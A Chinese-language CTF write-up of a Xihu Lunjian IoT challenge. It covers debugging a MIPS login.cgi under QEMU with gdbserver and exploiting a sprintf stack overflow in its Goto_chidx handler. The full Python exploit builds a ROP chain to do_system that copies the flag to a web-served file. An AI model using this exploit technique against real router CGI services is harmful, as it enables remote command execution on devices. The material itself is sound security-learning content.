0x00
最近开始学习IOT了,做了一下今年年初的西湖论剑的IOT题目,过程还是挺坎坷的,记录下过程。:yum:
0x01:启动
题目给出了启动脚本,但是我们想要调试程序的话,比如
1
| ./gdbserver :1234 --attach PID
|
是没法在宿主机中访问到gdbserver开启的端口的
需要修改一下脚本,加一个端口映射。
1 2 3
| sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net user,hostfwd=tcp::80-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 -net nic -nographic
|
0x02:分析程序
启动服务后,随便输点东西

会发现程序到了cgi-bin目录下的login.cgi
分析这个文件

32位mips程序

web_get函数读入一个参数page,

page参数等于Goto_chidx时,程序向下执行会进入Goto_chidx函数,

其中的sprintf函数存在栈溢出,控制好参数wlanUrl即可通过sprintf放入v9,造成栈溢出
0x03:验证漏洞

可以看到手动把page改为函数名,通过设置wlanUrl,可以让程序返回500,成功验证漏洞
0x04:调试程序
我们可以通过用gdbserver来调试程序gdbserver下载地址,32位mips
1
| ./gdbserver.mipsle :1234 --attach PID
|
PID为要调试进程的PID,可以通过ps -ef查看,
但是我们要调试的程序在瞬间结束的,无法通过正常方式调试到想要的函数
这时候我们可以通过把程序想要调试的部分提前在ida中patch出一个循环,让程序卡在那里,同样我们的gdb也会卡在这里,再用set命令,调整回来,即可实现调试想要调试的部分
这里我选择patch掉0x4039FC处的代码,正好再return的nop之前

mips中无限循环的语句是
FF FF 00 10
修改后效果

替换掉qemu中原本的login,cgi
调试脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests from pwn import *
url = "http://192.168.2.129/cgi-bin/login.cgi"
headers = { "Host": "192.168.2.129", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.2.129", "Connection": "keep-alive", "Referer": "http://192.168.2.129/", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" }
payload=b'a'*0x100
data = { 'page': 'Goto_chidx', 'wlanUrl': payload, }
response = requests.post(url, headers=headers, data=data) print(response.text)
|
调试时候启动这个脚本,再ps -ef
可以看到

多出一条与login.cgi路径很接近的进程,在启动脚本之前是没有的,猜测这就是卡住的login.cgi
gdbserver这个进程后,
在宿主机中启动gdb-multiarch 连上1234端口

发现程序停在了预定patch的循环处,然后
1
| set *0x4039fc=0x8f998078
|
把程序patch回来

即可进行正常调试
0x05:漏洞利用

在进行跳转之前有这些指令可以供我们来控制ra,s2,s1,s0
之后用到了两条gadgets
用来恢复gp,
用来执行do_system
参数由s0传入a0
通过在payload中设置关于sp的各种偏移,
最终执行dosystem
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import requests from pwn import *
url = "http://192.168.2.129/cgi-bin/login.cgi"
headers = { "Host": "192.168.2.129", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.2.129", "Connection": "keep-alive", "Referer": "http://192.168.2.129/", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } v9=0x7fff64c0 libc_base=0x77e1e000 #/root/cpio-root/lib/libwebutil.so stack = 0x7fff6610
payload = b"a"*0x80 payload += p32(stack+0x20-0xa0)# $s0 payload += b"a"*8 payload += p32(libc_base+0xa554) payload += b"b"*16 payload += p32(0x77e7b550)# $gp payload += b"c"*8 payload += p32(libc_base+0x7978) payload += b"a"*0x20 payload += b"cp /flag /etc_ro/lighttpd/www/bbb.txt;"
data = { 'page': 'Goto_chidx', 'wlanUrl': payload, }
response = requests.post(url, headers=headers, data=data) print(response.text)
|
把文件恢复后
可以通过访问bbb.txt看到打印出的flag

0x06:参考文章
第八届西湖论剑初赛IOT-linkon的wp | ZIKH26’s Blog
西湖论剑IOT-inkon - CH13hh